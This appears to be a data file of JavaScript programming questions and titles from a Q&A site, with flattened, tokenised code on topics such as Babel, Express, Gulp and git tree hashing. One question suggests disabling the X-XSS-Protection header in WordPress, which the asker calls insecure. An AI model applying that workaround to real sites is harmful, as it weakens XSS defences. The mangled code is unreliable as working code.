_x3 ; desc = parent = getter = undefined ; _again = false ; if ( object === null ) object = Function.prototype ; var desc = Object.getOwnPropertyDescriptor ( object , property ) ; if ( desc === undefined ) { var parent = Object.getPrototypeOf ( object ) ; if ( parent === null ) { return undefined ; } else { _x = parent ; _x2 = property ; _x3 = receiver ; _again = true ; continue _function ; } } else if ( 'value ' in desc ) { return desc.value ; } else { var getter = desc.get ; if ( getter === undefined ) { return undefined ; } return getter.call ( receiver ) ; } } } ; function _interopRequireDefault ( obj ) { return obj & & obj.__esModule ? obj : { 'default ' : obj } ; } function _classCallCheck ( instance , Constructor ) { if ( ! ( instance instanceof Constructor ) ) { throw new TypeError ( ' Can not call a class as a function ' ) ; } } function _inherits ( subClass , superClass ) { if ( typeof superClass ! == 'function ' & & superClass ! == null ) { throw new TypeError ( 'Super expression must either be null or a function , not ' + typeof superClass ) ; } subClass.prototype = Object.create ( superClass & & superClass.prototype , { constructor : { value : subClass , enumerable : false , writable : true , configurable : true } } ) ; if ( superClass ) Object.setPrototypeOf ? Object.setPrototypeOf ( subClass , superClass ) : subClass.__proto__ = superClass ; } var { _createClass , _get , _interopRequireDefault , _classCallCheck , _inherits } = require ( ` ./babel-functions ` )",How do we avoid boilerplate code in files transpiled by Babel ? "JS : I 've an array ( example array below ) - I want to iterate through this array of objects and produce a new Object ( not specifically reduce ) .I 've these two approaches - Is it not right to just use either one for this sort of operations ? Also , I 'd like to understand the use case scenarios where one will be preferred over the other ? Or should I just stick to for-loop ? a = [ { `` name '' : '' age '' , '' value '' :31 } , { `` name '' : '' height ( inches ) '' , '' value '' :62 } , { `` name '' : '' location '' , '' value '' : '' Boston , MA '' } , { `` name '' : '' gender '' , '' value '' : '' male '' } ] ; a = [ { `` name '' : '' age '' , '' value '' :31 } , { `` name '' : '' height ( inches ) '' , '' value '' :62 } , { `` name '' : '' location '' , '' value '' : '' Boston , MA '' } , { `` name '' : '' gender '' , '' value '' : '' male '' } ] ; // using Array.prototype.map ( ) b = a.map ( function ( item ) { var res = { } ; res [ item.name ] = item.value ; return res ; } ) ; console.log ( JSON.stringify ( b ) ) ; var newObj = [ ] ; // using Array.prototype.forEach ( ) a.forEach ( function ( d ) { var obj = { } ; obj [ d.name ] = d.value ; newObj.push ( obj ) } ) ; console.log ( JSON.stringify ( newObj ) )",Array.prototype.map ( ) and Array.prototype.forEach ( ) "JS : I 'm trying to add a javascript bookmarklet link to a post on my WordPress site . However it is n't coming out in the post preview . When I check the link that WordPress adds to the post it has converted it to javascript : void ( 0 ) . This simple example reproduces the problem.There are a few other people who 've had the same problem here , here , here , and here but no-one seems to have found a solution beyond just giving their bookmarklet code for people to copy and paste and create their own bookmarklet.The cause of this problem is that Chrome 's XSS protection is stripping out the javascript from the link when submitting it via wp-admin . One `` solution '' is to add the line header ( `` X-XSS-Protection : 0 '' ) ; to wp-blog-header.php in the root folder . This is insecure as it switches off the XSS protection on your WordPress site but it does allow the bookmarklet code to be rendered when the page loads.Are there any real solutions to this problem that do n't involve switching off XSS protection ? Is there a perhaps a plugin I can install to my WordPress to allow me to add javascript : links inside my posts ? < a href= '' javascript : alert ( 'Alert ! ' ) ; '' > Search Scholar < /a >",Adding bookmarklet to wordpress post "JS : I wish I could be more specific here , but unfortunately this might be hard . I basically hope this is some `` well '' -known timeout or setup issue.We have a website running an ( JS/html - ASP.net project ) website overview on a screen at a factory . This screen has no keyboard so it should keep refreshing the page forever - years perhaps ( though 1 week might be okay ) . ( It is used by factory workers to see incoming transports etc . ) This all works perfectly ; the site continuously updates itself and gets the new correct data.Then , sometimes , in the morning this `` overview '' screen has no data and the workers have to manually refresh the site using the simple refresh button or F5 - which fixes everything.I have tried a few things trying to reproduce the error myself including : Cutting the internet connection and MANY other ways of making it timeout ( breakpoints , stopping services etc . ) .Setting the refresh time of setInterval to 100ms and letting the site run 3-5 minutes . ( normal timer is 1 minute ) setInterval SHOULD run forever according to the internet searching I have done.Checked that `` JavaScript frequency '' has not been turned down in power saving settings.No matter what ; the site resumes correct function WITHOUT a refresh as soon as I plug in the internet cable or whatever again - I ca n't reproduce the error.The website is dependent on a backend WCF service and project integration , but since the workers are fixing this with a simple refresh I am assuming this has not crashed.EDIT : The browser I tried to reproduce the error in was IE/win7 . I will ask about the factory tomorrow , but I am guessing IE/win ? also.Is setInterval in fact really infinite or is there something else wrong here ? All help much appreciated.UPDATE : I came in this morning after leaving the website running in debug mode with a breakpoint in the catch clause of the site updating code.There was a 2 min . timeout error ( busy server cleanup during the night likely ) and THEN forever after that a null-reference error at this line : I fixed it with a refresh like the workers.I am now thinking it may be a session timeout all though we keep pinging the server..Of course my particular session timeout may have been caused by the breakpoint making it hang forever at the first timeout - still the behavior is the same as at the factory.I will make sure to update you guys with the final solution later.UPDATE 2 : Testing is ongoing.UPDATE 3 : The factory is IE 9 , their test machine is IE 7 and my machine is IE 9 . The error was seen on IE7 but NOT my IE9 after a weekends runtime.We tried turning off ajax cache during our critical data_binding code , but it did nothing.I tested for memory leaks and was able to create a decent leak IF I refresh 100 times per minute . I do n't think it was the problem though and a refresh cleaned the memory used.We will try the auto-refresh thing now . var showHistory = ( bool ) Session.Contents [ `` ShowHistory '' ] ;",Website running JavaScript setInterval starts to fail after ~1day JS : Some code for example.I realy ca n't understand where is toString method stored.If I do this with mutable objects I gotThat works as I expected.So the question is where toString of Number or other immutable types stored and called when type conversion occurs . let a = 1a.__proto__.toString = function ( ) { return 'test ' } a.toString ( ) // '' test '' a + ' 2'// '' 12 '' let o = { } o.__proto__.toString = function ( ) { return 'test ' } o.toString ( ) // '' test '' o + ' 2'// '' test2 '',Where is toString of Number stored ? "JS : In the quickstart guide for the Google Drive API , the following function is called once the client library has loaded : What is the purpose of calling setTimeout with a delay of 1 like this instead of just calling checkAuth immediately ? // Called when the client library is loaded to start the auth flow.function handleClientLoad ( ) { window.setTimeout ( checkAuth , 1 ) ; }",What is the purpose of calling setTimeout with a delay of 1 ? "JS : Following another SO question , the latest I have been trying is ( see ligatures.net ) : In the Openshift logs , I get : Property 'secure ' of object # is not a functionThis is the line : if ( ! req.secure ( ) ) { The certificates are loaded in the console . The application starts successfully on port 8080.Why am I getting this message and how should I create a secured Express 4.0 https application in OpenShift ? Does anyone have operational code to share ? Thanks ! UPDATEI have updated the redirection as following : I see a couple of the following from the console : and my application still does not work . It looks like a bug to me.I have opened an issue : https : //bugzilla.redhat.com/show_bug.cgi ? id=1138137I am also behind Cloudflare , which may be part of the issue . self.ipaddress = process.env.OPENSHIFT_NODEJS_IP ; self.port = process.env.OPENSHIFT_NODEJS_PORT || 443 ; if ( typeof self.ipaddress === `` undefined '' ) { self.ipaddress = `` 127.0.0.1 '' ; } ; ... self.app = express ( ) ; // 4.8.7 ... // Trusting Openshift proxyself.app.enable ( 'trust proxy ' ) ; // Http - > Https redirection middlewareself.app.use ( function ( req , res , next ) { if ( ! req.secure ( ) ) { var tmp = 'https : // ' + process.env [ `` DOMAIN_NAME '' ] + req.originalUrl ; console.log ( `` Redirect to : `` + tmp ) ; res.redirect ( tmp ) ; } else { next ( ) ; } } ) ; ... // Creating a http serverhttps.createServer ( self.app ) .listen ( self.port , self.ipaddress , function ( err ) { if ( err ) { console.log ( `` Node server error : `` + err.toString ( ) ) ; } else { console.log ( ' % s : Node server started on % s : % d ... ' , Date ( Date.now ( ) ) , self.ipaddress , self.port ) ; } } ) ; // Http - > Https redirection middlewareself.app.use ( function ( req , res , next ) { if ( req.headers [ ' x-forwarded-proto ' ] === 'http ' ) { var tmp = 'https : // ' + req.headers.host + req.originalUrl ; console.log ( `` SERVER redirect to : `` + tmp ) ; res.redirect ( tmp ) ; } else { var pt = req.protocol || `` '' ; var ho = req.headers.host || `` '' ; var ur = req.originalUrl || `` '' ; console.log ( `` \nProtocol : `` + pt + `` \nHost : `` + ho + `` \nUrl : `` + ur ) ; var tmp = req.protocol + ' : // ' + req.headers.host + req.originalUrl ; console.log ( `` SERVER no redirect : `` + tmp ) ; next ( ) ; } SERVER no redirect : http : //undefined/Protocol : httpHost : Url : /","Creating an Express JS 4.0 application with https on Openshift , including http redirection" "JS : Why ca n't I do this : This wo n't work either : var fooElement , barElements ; if ( fooElement = document.getElementById ( 'foo ' ) & & barElements = fooElement.getElementsByTagName ( 'bar ' ) & & barElements [ 0 ] & & barElements [ 0 ] .onclick ) { console.log ( barElements [ 0 ] .onclick ) ; } var foo , bar ; if ( foo = true & & bar = true ) { console.log ( 'yay ' ) ; }",Multiple assignments inside if-statement JS : I have a large plugin ( abalmus/aurelia-ace-editor ) that I 'm trying to load into Aurelia and it 's hurting my page load time . Does anyone know how to load an Aurelia plugin other than on app start ? Main.ts : import { Aurelia } from 'aurelia-framework ' ; export function configure ( aurelia : Aurelia ) { aurelia.use .standardConfiguration ( ) .developmentLogging ( ) .plugin ( 'aurelia-validation ' ) .plugin ( 'aurelia-validatejs ' ) .plugin ( 'aurelia-animator-css ' ) .plugin ( 'abalmus/aurelia-ace-editor ' ) .plugin ( 'aurelia-cookie ' ) .feature ( 'lib/form-validation-renderer ' ) ; aurelia.start ( ) .then ( ( ) = > aurelia.setRoot ( ) ) ; },Lazy load Aurelia plugin "JS : Lets say I have a list like this : ( list-style-type might be anything - upper-roman , katakana , lower-greek ) list-style-type : upper-latin ; will put a alphabet letter ( starting from A ) in front of every list item.Is there a way to get this letter for any given list item ? I can probably iterate over list using jQuery .index ( ) or similar.Or , maybe there is way to extract markers from style ? The answer here works only for Latin alphabet lists . < ul style= '' list-style-type : upper-latin ; '' > < li > Lorem < /li > < li > Ipsum < /li > < /ul >",How to get list item ( < li > ) marker/label declared in list-style-type ? "JS : I find this notation everywhere in Webpack generated libs but I do n't understand it : What does the ( 0 , _parseKey2.default ) stands for ? I do n't remember seeing those coma separated expressions between parenthesis elsewhere that in function parameters , so maybe I am just missing something simple.Thanks for your help . var a = ( 0 , _parseKey2.default ) ( something )","What does this javascript syntax mean ? ( 0 , _parseKey2.default ) ( something )" "JS : We have a menu represented as a ul- > li list ( simplified ) : Where somewhere at position N , there is a divider , which can be identified by evaluating filterItem.isDivider or by checking the text of the a link ( in case of a divider , it 's empty ) .Now , the goal is to get all of the menu items that are located before the divider . How would you approach the problem ? My current approach is rather generic - to extend ElementArrayFinder and add takewhile ( ) function ( inspired by Python 's itertools.takewhile ( ) ) . Here is how I 've implemented it ( based on filter ( ) ) : And , here is how I 'm using it : But , the test is just hanging until jasmine.DEFAULT_TIMEOUT_INTERVAL is reached on the takewhile ( ) call . If I put console.logs into the loop and after , I can see that it correctly pushes the elements before the divider and stops when it reaches it . I might be missing something here.Using protractor 2.2.0.Also , let me know if I 'm overcomplicating the problem . < ul class= '' dropdown-menu '' role= '' menu '' > < li ng-repeat= '' filterItem in filterCtrl.filterPanelCfg track by filterItem.name '' ng-class= '' { 'divider ' : filterItem.isDivider } '' class= '' ng-scope '' > < a href= '' '' class= '' ng-binding '' > Menu Item 1 < /a > < /li > ... < li ng-repeat= '' filterItem in filterCtrl.filterPanelCfg track by filterItem.name '' ng-class= '' { 'divider ' : filterItem.isDivider } '' class= '' ng-scope '' > < a href= '' '' class= '' ng-binding '' > Menu Item 2 < /a > < /li > < /ul > protractor.ElementArrayFinder.prototype.takewhile = function ( whileFn ) { var self = this ; var getWebElements = function ( ) { return self.getWebElements ( ) .then ( function ( parentWebElements ) { var list = [ ] ; parentWebElements.forEach ( function ( parentWebElement , index ) { var elementFinder = protractor.ElementFinder.fromWebElement_ ( self.ptor_ , parentWebElement , self.locator_ ) ; list.push ( whileFn ( elementFinder , index ) ) ; } ) ; return protractor.promise.all ( list ) .then ( function ( resolvedList ) { var filteredElementList = [ ] ; for ( var index = 0 ; index < resolvedList.length ; index++ ) { if ( ! resolvedList [ index ] ) { break ; } filteredElementList.push ( parentWebElements [ index ] ) } return filteredElementList ; } ) ; } ) ; } ; return new protractor.ElementArrayFinder ( this.ptor_ , getWebElements , this.locator_ ) ; } ; this.getInclusionFilters = function ( ) { return element.all ( by.css ( `` ul.dropdown-menu li '' ) ) .takewhile ( function ( inclusionFilter ) { return inclusionFilter.evaluate ( `` ! filterItem.isDivider '' ) ; } ) ; } ;",Take elements while a condition evaluates to true ( extending ElementArrayFinder ) "JS : I am very new to Ember and have never written a test case before . I currently have a route that is being used as a base class and will be extended by other routes to use the same behavior for redirecting . Here is what the route looks like : So testing this manually works great , if I type in the direct url for a screen it will redirect to the login . This is the functioning code we want . I was tasked with writing unit test and have not been able to turn up anything that I found useful . This is probably my inexperience with understanding things but I need to figure out how to test this code . I would love some help and some explanation as well as to what is being done . I have to do unit tests and lots of other things for this ember project and being very new I 've already wasted 2 days researching how to test this one class . import Ember from 'ember ' ; export default Ember.Route.extend ( { redirect : function ( ) { var user = this.modelFor ( 'application ' ) .user ; if ( Ember.isEmpty ( user.get ( 'auth ' ) ) ) { this.transitionTo ( 'login ' ) ; } } , model : function ( ) { return this.modelFor ( 'application ' ) .user ; } } ) ;",Ember Testing route redirect "JS : When I open my project and Eclipse attempts to build it , I get this error : An internal error occurred during : `` Building workspace '' . java.lang.StackOverflowError.It still finishes building ( I think ) , and I can proceed on . But I get an `` Internal Error '' popup saying that a stack overflow has occurred and that it 's recommended that I exit the workbench . I just ignore the popup.Here is my .log output : What should I do to avoid this problem ? ! SESSION 2014-11-13 09:22:21.634 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -eclipse.buildId=4.4.0.I20140606-1215java.version=1.7.0_51java.vendor=Oracle CorporationBootLoader constants : OS=win32 , ARCH=x86_64 , WS=win32 , NL=en_USFramework arguments : -product org.eclipse.epp.package.jee.productCommand-line arguments : -os win32 -ws win32 -arch x86_64 -product org.eclipse.epp.package.jee.product -data C : \Workspaces\pvmui-ws3 ! ENTRY org.eclipse.egit.ui 2 0 2014-11-13 09:22:31.052 ! MESSAGE Warning : EGit could n't detect the installation path `` gitPrefix '' of native Git . Hence EGit ca n't respect system levelGit settings which might be configured in $ { gitPrefix } /etc/gitconfig under the native Git installation directory.The most important of these settings is core.autocrlf . Git for Windows by default sets this parameter to true inthis system level configuration . The Git installation location can be configured on theTeam > Git > Configuration preference page 's 'System Settings ' tab.This warning can be switched off on the Team > Git > Confirmations and Warnings preference page . ! ENTRY org.eclipse.egit.ui 2 0 2014-11-13 09:22:31.057 ! MESSAGE Warning : The environment variable HOME is not set . The following directory will be used to store the Gituser global configuration and to define the default location to store repositories : ' C : \Users\XXXXXX ' . If this isnot correct please set the HOME environment variable and restart Eclipse . Otherwise Git for Windows andEGit might behave differently since they see different configuration options.This warning can be switched off on the Team > Git > Confirmations and Warnings preference page . ! ENTRY org.eclipse.core.jobs 4 2 2014-11-13 09:24:25.196 ! MESSAGE An internal error occurred during : `` Building workspace '' . ! STACK 0java.lang.StackOverflowError at org.eclipse.vjet.dsf.jst.declaration.JstProxyType.getName ( JstProxyType.java:105 ) at org.eclipse.vjet.dsf.jst.declaration.JstMixedType.getName ( JstMixedType.java:75 ) **THESE TWO LINES REPEAT ABOUT 1023 TIMES** ! ENTRY org.eclipse.vjet.eclipse.core 4 0 2014-11-13 09:24:26.431 ! MESSAGE There is no jst2dltk translator for node : org.eclipse.vjet.dsf.jst.term.ObjLiteral ! ENTRY org.eclipse.vjet.eclipse.core 4 0 2014-11-13 09:24:26.510 ! MESSAGE There is no jst2dltk translator for node : org.eclipse.vjet.dsf.jst.term.ObjLiteral ! ENTRY org.eclipse.ui 4 4 2014-11-13 09:24:27.036 ! MESSAGE Conflicting handlers for org.eclipse.vjet.eclipse.debug.ui.launchShortcut.run : { org.eclipse.debug.internal.ui.launchConfigurations.LaunchShortcutExtension $ LaunchCommandHandler @ 6436afd6 } vs { org.eclipse.debug.internal.ui.launchConfigurations.LaunchShortcutExtension $ LaunchCommandHandler @ 42523e00 }",java.lang.StackOverflowError when building Sencha/ ExtJS 5 project "JS : I want to use spread operator . Scenario is that there are no of players ( displayed as player tile on UI ) . Whenever I am clicking on any of player-tile , it is becoming active ( getting highlighted ) . Condition is that at a time only one player should be highlighted . So , when a player-tile is clicked its attribute ifActive : true , and rest of players attribute ifActive : falseThe playerReducer is getting clicked player-id as action.payload ( action.payload is giving the id of player which is currently clicked ) . Now I have to modify my state without mutating it . I have to use spread operator for it . how to modify a specific object at a index using spread operator ? how to modify a specific object at a index using spread operator ? Strictly , I have to use spread operator and each player should have ifActive attribute . const initialPlayerState = { tabs : [ { id : 1 , name : 'player 1 ' , ifActive : false } , { id : 2 , name : 'player 2 ' , ifActive : false } , { id : 3 , name : 'player 3 ' , ifActive : false } , ] } const playerReducer = ( state = initialPlayerState , action ) = > { switch ( action.type ) { case SELECT_PLAYER : //how to modify state using spread operator , and how to modify //a specific object at a specific index . return { ... state , /*some code hrere*/ } ; default : return state ; } }",how to modify a specific object at a index using spread operator in react-redux ? "JS : I have setup CSRF on my Express v3 app , and I have it like this : and on my page the token appears as : But when I try to register on my webpage , I get this error : I 'm using Jade as my template engine and this is what I have : I am accessing the webpage directly at localhost:3000 and I 'm not sure why I am forbidden from registering an account . Thanks ! app.use ( express.session ( { secret : `` gdagadgagd '' , cookie : { httpOnly : true , path : '/ ' , maxAge : 1000*60*60*24*30*12 } } ) ) ; app.use ( express.csrf ( ) ) ; app.use ( function ( req , res , next ) { res.locals.token = req.session._csrf ; next ( ) ; } ) < input type= '' hidden '' name= '' _csrf '' value= '' E3afFADF3913-fadFK31 '' > Error : Forbidden at Object.exports.error ( /Users/account/Desktop/nodeapp/node_modules/express/node_modules/connect/lib/utils.js:55:13 ) at Object.handle ( /Users/account/Desktop/nodeapp/node_modules/express/node_modules/connect/lib/middleware/csrf.js:54:41 ) at next ( /Users/account/Desktop/nodeapp/node_modules/express/node_modules/connect/lib/proto.js:190:15 ) at next ( /Users/account/Desktop/nodeapp/node_modules/express/node_modules/connect/lib/middleware/session.js:313:9 ) at /Users/account/Desktop/nodeapp/node_modules/express/node_modules/connect/lib/middleware/session.js:337:9 at /Users/account/Desktop/nodeapp/node_modules/express/node_modules/connect/lib/middleware/session/memory.js:50:9 at process._tickCallback ( node.js:415:13 ) input ( type='hidden ' , name='_csrf ' , value=token )","Forbidden by CSRF on my registration form , not sure why" "JS : Our website suddenly stopped working on Chrome ( just chrome ) after the latest update ... The error given is This is where the numberOfItems property is used : Why did SVG and Javascript stop being able to read this property after the latest Chrome update ? What could be a good fix ? Thanks ! ! Uncaught TypeError : Can not read property 'numberOfItems ' of undefined // Absolutize and parse path to array , parse : function ( array ) { /* if it 's already is a patharray , no need to parse it */ if ( array instanceof SVG.PathArray ) return array.valueOf ( ) /* prepare for parsing */ var i , il , x0 , y0 , x1 , y1 , x2 , y2 , s , seg , segs , x = 0 , y = 0 /* populate working path */ SVG.parser.path.setAttribute ( 'd ' , typeof array === 'string ' ? array : arrayToString ( array ) ) /* get segments */ segs = SVG.parser.path.pathSegList for ( i = 0 , il = segs.numberOfItems ; i < il ; ++i ) { seg = segs.getItem ( i ) s = seg.pathSegTypeAsLetteretc . ( I did n't put the whole loop )",SVG numberOfItems property not working "JS : With the following code : The output is '\foo ' , as shown here : http : //jsfiddle.net/mPKEx/Why is n't itI am replacing all of x with `` \ $ & '' which is just a plan old string so why is string.replace doing some crazy substitution when the 2nd arg of the function is n't supposed to do anything except get substitued in ... var x = 'foo ' ; console.log ( x.replace ( x , `` \\ $ & '' ) ) ; ​ '\\ $ & '' ?",Odd JavasScript string replace behavior with $ & "JS : In my gulpfile.js , JS changes automatically trigger both BrowserSync reload and my JS processing task . But for some reason , although the reload does work , my JS task fails to correctly process JS changes and create new JS file in dist/ folder . I have to restart Gulp for that . Why ? Gulpfile.js : EDIT : Also tried the code below for the `` js '' task ( see the 3 last lines compared to the code above ) , to no avail : var gulp = require ( 'gulp ' ) ; var sass = require ( 'gulp-sass ' ) ; var browserSync = require ( 'browser-sync ' ) .create ( ) ; var concat = require ( 'gulp-concat ' ) ; var jshint = require ( 'gulp-jshint ' ) ; var uglify = require ( 'gulp-uglify ' ) ; gulp.task ( 'sass ' , function ( ) { return gulp.src ( '../assets/styles/**/*.scss ' ) .pipe ( sass ( ) ) .pipe ( gulp.dest ( '../dist/styles ' ) ) .pipe ( browserSync.reload ( { stream : true } ) ) } ) ; gulp.task ( 'js ' , function ( ) { return gulp.src ( [ '../assets/scripts/*.js ' ] ) .pipe ( jshint ( ) ) .pipe ( jshint.reporter ( 'default ' ) ) .pipe ( concat ( 'main.js ' ) ) .pipe ( uglify ( ) ) .pipe ( gulp.dest ( '../dist/scripts ' ) ) } ) ; gulp.task ( 'browserSync ' , function ( ) { browserSync.init ( { proxy : 'http : //127.0.0.1/my_site/new-front-page/ ' , } ) } ) gulp.task ( 'watch ' , [ 'sass ' , 'js ' , 'browserSync ' ] , function ( ) { gulp.watch ( '../assets/styles/**/*.scss ' , [ 'sass ' ] ) ; gulp.watch ( '../**/**/*.php ' , browserSync.reload ) ; gulp.watch ( '../assets/scripts/*.js ' , browserSync.reload ) ; gulp.watch ( '../*.html ' , browserSync.reload ) ; } ) ; gulp.task ( 'js ' , function ( ) { return gulp.src ( [ '../assets/scripts/*.js ' ] ) .pipe ( jshint ( ) ) .pipe ( jshint.reporter ( 'default ' ) ) .pipe ( concat ( 'main.js ' ) ) .pipe ( uglify ( ) ) .pipe ( gulp.dest ( '../dist/scripts ' ) ) .pipe ( browserSync.reload ( { stream : true } ) ) } ) ;",Why does Gulp fail to automatically re-process my JS upon changes ? "JS : In some projects that I work , was added some blocks with this syntax : I really like this , is so simple and small . It 's true I can do this using other syntax like : But , some browsers like Google Chrome and Opera dont support this `` feature '' . Somebody know if this is a future feature of JS or is deprecated ? In case deprecated , exist some beaultiful alternative to the first case ? Thanks for all . var [ code , name ] = input.split ( `` / '' ) ; console.log ( code ) ; console.log ( name ) ; var code_name = input.split ( `` / '' ) ; console.log ( code_name [ 0 ] ) ; console.log ( code_name [ 1 ] ) ;",JavaScript alternatives "JS : JavaScript 's late binding is great . But how do I early bind when I want to ? I am using jQuery to add links with event handlers in a loop to a div . The variable 'aTag ' changes in the loop . When I click the links later , all links alert the same message , which is the last value of 'aTag ' . How do I bind a different alert message to all links ? All links should alert with the value that 'aTag ' had when the event handler was added , not when it was clicked . for ( aTag in tagList ) { if ( tagList.hasOwnProperty ( aTag ) ) { nextTag = $ ( ' < a href= '' # '' > < /a > ' ) ; nextTag.text ( aTag ) ; nextTag.click ( function ( ) { alert ( aTag ) ; } ) ; $ ( ' # mydiv ' ) .append ( nextTag ) ; $ ( ' # mydiv ' ) .append ( ' ' ) ; } }",How to do early binding for event handler in JavaScript ? ( example with jQuery ) "JS : I have a directive treeview which contains a nested directive ( being the branches ) of each item rendered.In the scope of both directives I have declared two parameters that should be talking to the parent controller . filter : ' & ' //binds the method filter within the nested directive ( branch ) to the method doSomething ( ) in the tree directive attribute which is bound to the html directive that binds to the controller.iobj : '= ' is the two way binding paramter that should be passing the scoped object to the controller . ( but currently is n't ) Directive : HTML : Controller : Currently I can invoke the function $ scope.doSomething from the directive to the controller . So I know that I have access to the controllers scope from the directive . What I can not figure out is how to pass an object as a parameter from the directive back to the controller . When I run this code , $ scope.objectis always an empty object . I 'd appreciate any help or suggestions on how to go about this . app.directive ( 'tree ' , function ( ) { return { restrict : ' E ' , replace : true , scope : { t : '=src ' , filter : ' & ' , iobj : '= ' } , controller : 'treeController ' , template : ' < ul > < branch ng-repeat= '' c in t.children '' iobj= '' object '' src= '' c '' filter= '' doSomething ( ) '' > < /branch > < /ul > ' } ; } ) ; app.directive ( 'branch ' , function ( $ compile ) { return { restrict : ' E ' , replace : true , scope : { b : '=src ' , filter : ' & ' , iobj : '= ' } , template : ' < li > < input type= '' checkbox '' ng-click= '' innerCall ( ) '' ng-hide= '' visible '' / > < a > { { b.name } } < /a > < /li > ' , link : function ( scope , element , attrs ) { var has_children = angular.isArray ( scope.b.children ) ; scope.visible = has_children ; if ( has_children ) { element.append ( ' < tree src= '' b '' > < /tree > ' ) ; $ compile ( element.contents ( ) ) ( scope ) ; } element.on ( 'click ' , function ( event ) { event.stopPropagation ( ) ; if ( has_children ) { element.toggleClass ( 'collapsed ' ) ; } } ) ; scope.innerCall = function ( ) { scope.iobj = scope.b ; console.log ( scope.iobj ) ; scope.filter ( ) ; } } } ; } ) ; < div ng-controller= '' treeController '' > < tree src= '' myList '' iobj= '' object '' filter= '' doSomething ( ) '' > < /tree > < a ng-click= '' clicked ( ) '' > link < /a > < /div > app.controller ( `` treeController '' , [ ' $ scope ' , function ( $ scope ) { var vm = this ; $ scope.object = { } ; $ scope.doSomething = function ( ) { var item = $ scope.object ; //alert ( 'call from directive ' ) ; console.log ( item ) ; } $ scope.clicked = function ( ) { alert ( 'clicked ' ) ; } ...",How to pass an object from a nested directive with isolated scope to parent controller scope in angular "JS : I have a main module , that loads ngRoute service.and my app.settings module is not loading ngRoute service , But I can use $ routeProvider in this module.Does angular module loading order not care ? Can I load any dependency any module ? angular.module ( `` app '' , [ `` ngRoute '' , `` app.settings '' ] angular.module ( `` app.settings '' , [ ] ) .config ( [ `` $ routeProvider '' , function ( $ routeProvider ) { $ routeProvider.when ( `` /settings '' , { template : `` { { message } } '' , controller : '' SettingsController '' } ) ; } ] )",how angularjs reference module load dependency "JS : For example , when I run the following code in Chrome 's JavaScript console , I get the following output : As we can see , we get a DOM element rather than a jQuery object.But when I do n't use the Chrome 's JS console and rather use the code directly in a webpage along with some console.log ( ) , I get a jQuery object.From the above , we can ascertain that when using Chrome 's JS console directly , the selector 'always ' returns a DOM element rather than a jQuery object . When I test the same piece of selector code in the Edge browser 's JS console , I get the correct jQuery object . What 's the problem with Chrome ? EDIT : $ ( `` p '' ) < p > ... < /p > [ object Object ] { 0 : HTMLParagraphElement { ... } , 1 : HTMLParagraphElement { ... } , ...",Why is Chrome 's JS Console returning a DOM element rather than a jQuery Object ? "JS : The jQuery constructor sort of maps its functionality to another constructor , jQuery.fn.init : I 'm wondering why.This question is very similar , but even the answerer admits they did n't really answer the question as to whyThis question is still unansweredIs this just for organizational purposes ? Rather than putting the init function inside the jQuery constructor definition , maybe the authors wanted to package it.Is there any reason to have the .init ( ) method on the prototype ? I do n't think anyone ever uses $ ( '.something ' ) ... init ( ) ... This question shows that its not necessary to have .init on the prototype.And I just found this question in which Dan Herbert 's answer suggests that it is simply for structure/readability purposes.In conclusion , can I confirm that this constructor/prototype mapping funny-business is kind of unnecessary ? It seems to me that the jQuery.fn.init functionality could go : Anywhere in the closureOn the jQuery object ( jQuery.init vs jQuery.fn.init ) Or , what makes most sense to me : directly inside the jQuery function/constructor definition , replacing new jQuery.fn.init and avoiding the jQuery.fn.init.prototype = jQuery.fn mapping . jQuery = function ( selector , context ) { return new jQuery.fn.init ( selector , context , rootjQuery ) ; } ,",Why does the jQuery constructor map to jQuery.fn.init ? "JS : For a nodejs project I need to determinate the hash of my folder to check the version . Actually , I made a script to test my code ( without filesystem , directly of git api for my test ) . But it works half the time.A1 works ; A2 does n't work because I do n't get the same hash ; A3 works.A4 works.I used this API to get the hash : https : //api.github.com/repos/zestedesavoir/zds-site/branches/devI made a Perl script version to check my code js code . It returns the same things . I think my error is in Object.values ( json.tree ) .forEach ( function ( blob ) the pattern must be not good with text += blob.mode + `` `` + blob.path + `` \0 '' + sha ; . I do n't know why.My js script : ( Live demo : https : //repl.it/repls/FearfulWhiteShelfware ) Output : Wanted Output : A2 : I made a Perl script version to check my code and understand this issue.Perl : ( Live demo : https : //repl.it/repls/VainPrizeDebugmonitor ) Files : Perl script : Output : Then we see that my JS and Perl Script return the same thing . That mean , that my pattern was malformed , I do n't know why . const crypto = require ( `` crypto '' ) , fs = require ( `` fs '' ) , path = require ( `` path '' ) , getURL = require ( `` ./ajax.js '' ) .getURL ; const apiJSON = [ ] ; //https : //api.github.com/const hashs = [ `` 8d66139b3acf78fa50e16383693a161c33b5e048 '' , `` 4ef57de8e81c8415d6da2b267872e602b1f28cfe '' , `` 13b54c0bab5e7f7a05398d6d92e65eee2b227136 '' , `` 218a8f506fcd3076fad059ec42d4656c635a8171 '' ] ; let loaded = 0 ; const USEAPI = false ; /* becarful low limit on repl.it */for ( let i = 0 ; i < hashs.length ; i++ ) { if ( ! USEAPI ) { apiJSON [ i ] = JSON.parse ( fs.readFileSync ( ` a $ { i+1 } .json ` ) ) ; console.log ( ` A $ { i+1 } : ` ) ; getTreeSHA ( apiJSON [ i ] , false ) ; if ( i+1 === hashs.length ) { console.log ( `` \n\nPerl ouput : '' ) ; for ( let j = 0 ; j < hashs.length ; j++ ) getTreeSHA ( apiJSON [ j ] , true ) ; } } else { getURL ( `` /repos/zestedesavoir/zds-site/git/trees/ '' + hashs [ i ] , function ( json ) { loaded++ ; apiJSON [ i ] = json ; if ( loaded === hashs.length ) { for ( let i = 0 ; i < hashs.length ; i++ ) { console.log ( ` A $ { i+1 } : ` ) ; getTreeSHA ( apiJSON [ i ] , false ) ; } console.log ( `` \n\nPerl ouput : '' ) ; for ( let i = 0 ; i < hashs.length ; i++ ) getTreeSHA ( apiJSON [ i ] , true ) ; } } ) ; } } function getTreeSHA ( json , getPattern ) { /*json.tree.sort ( ( a , b ) = > { -- - > not good see A3 & A4 if ( a.type ! == b.type ) if ( a.type === `` tree '' ) return 1 ; else if ( b.type === `` tree '' ) return -1 ; return a.path.charCodeAt ( 0 ) - b.path.charCodeAt ( 0 ) } ) ; */ let text = `` '' ; Object.values ( json.tree ) .forEach ( function ( blob ) { const sha = Buffer.from ( blob.sha , `` hex '' ) .toString ( ! getPattern ? `` binary '' : `` hex '' ) ; text += ( +blob.mode ) + `` `` + blob.path ; // ^ https : //stackoverflow.com/a/54137728 text += ( ! getPattern ) ? ( `` \0 '' + sha ) : ( `` `` + sha + 